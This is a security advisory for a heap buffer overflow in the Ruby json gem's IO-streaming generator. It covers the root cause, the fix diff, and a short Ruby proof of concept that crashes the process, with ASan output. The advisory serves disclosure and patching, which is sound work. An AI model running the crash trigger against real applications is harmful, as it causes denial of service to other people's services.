GHSA-x2f5-4prf-w687
Dashboard / Vulnerabilities / GHSA-x2f5-4prf-w687
Summary: Ruby json: JSON generator heap buffer overflow when streaming to an IO
Details: ### Summary `JSON.dump(obj, io)` and `JSON::State#generate(obj, io)` can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write in the IO-streaming path and is demonstrated as a reliable process crash / denial of service. This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here. ### Details Root cause is in `ext/json/fbuffer/fbuffer.h`, `fbuffer_do_inc_capa()`. On the IO path, the buffer is grown to `FBUFFER_IO_BUFFER_SIZE` (16383), but the early return checks total capacity instead of remaining capacity: ```c if (RB_UNLIKELY(fb->io)) { if (fb->capa < FBUFFER_IO_BUFFER_SIZE) { fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE); } else { fbuffer_flush(fb); } if (RB_LIKELY(requested < fb->capa)) { return; } } ``` If `fb->len` already contains JSON syntax bytes, and a string flush has `16383 - fb->len <= requested < 16383`, this check returns even though there is not enough space left. `fbuffer_append_reserved()` then writes past the buffer: ```c MEMCPY(fb->ptr + fb->len, newstr, char, len); ``` The minimal fix is to compare against the remaining capacity: ```diff - if (RB_LIKELY(requested < fb->capa)) { + if (RB_LIKELY(requested <= fb->capa - fb->len)) { return; } ``` ### PoC ```ruby require "json" require "stringio" io = StringIO.new big = "a" * 16385 big[16382] = '"' # escapable byte near the buffer boundary JSON.dump([big], io) ``` Verified results: ```text Ruby 4.0.5 / bundled json 2.18.0: malloc(): invalid size (unsorted) .../json/common.rb:956: [BUG] Aborted ruby/ruby master c78418b7a0 / json 2.19.8 / ASan: heap-buffer-overflow WRITE of size 16382 fbuffer_append_reserved ext/json/fbuffer/fbuffer.h:145 search_flush ext/json/generator/generator.c:139 convert_UTF8_to_JSON ext/json/generator/generator.c:231 raw_generate_json_string ext/json/generator/generator.c:922 cState_m_generate ext/json/generator/generator.c:1891 ``` Control: the same data through `JSON.dump([big])` without an IO argument returns normally. The bug is specific to the IO-streaming path. ### Impact A remote attacker can trigger a heap out-of-bounds write if they control a string field that an application serializes through `JSON.dump(obj, io)` or `JSON::State#generate(obj, io)`. The demonstrated impact is reliable denial of service. I am not claiming code execution or information disclosure.
References: https://github.com/ruby/json/security/advisories/GHSA-x2f5-4prf-w687, https://nvd.nist.gov/vuln/detail/CVE-2026-54696, https://github.com/ruby/json/commit/996bac686d64e4e3aaeae03b14a7f9ee9695ebdb, https://github.com/ruby/json, https://github.com/ruby/json/releases/tag/v2.19.9, https://github.com/rubysec/ruby-advisory-db/blob/master/gems/json/CVE-2026-54696.yml
Affected packages
Package
Name: json
Purl: pkg:gem/json
Affected ranges
Type: ECOSYSTEM
Events:
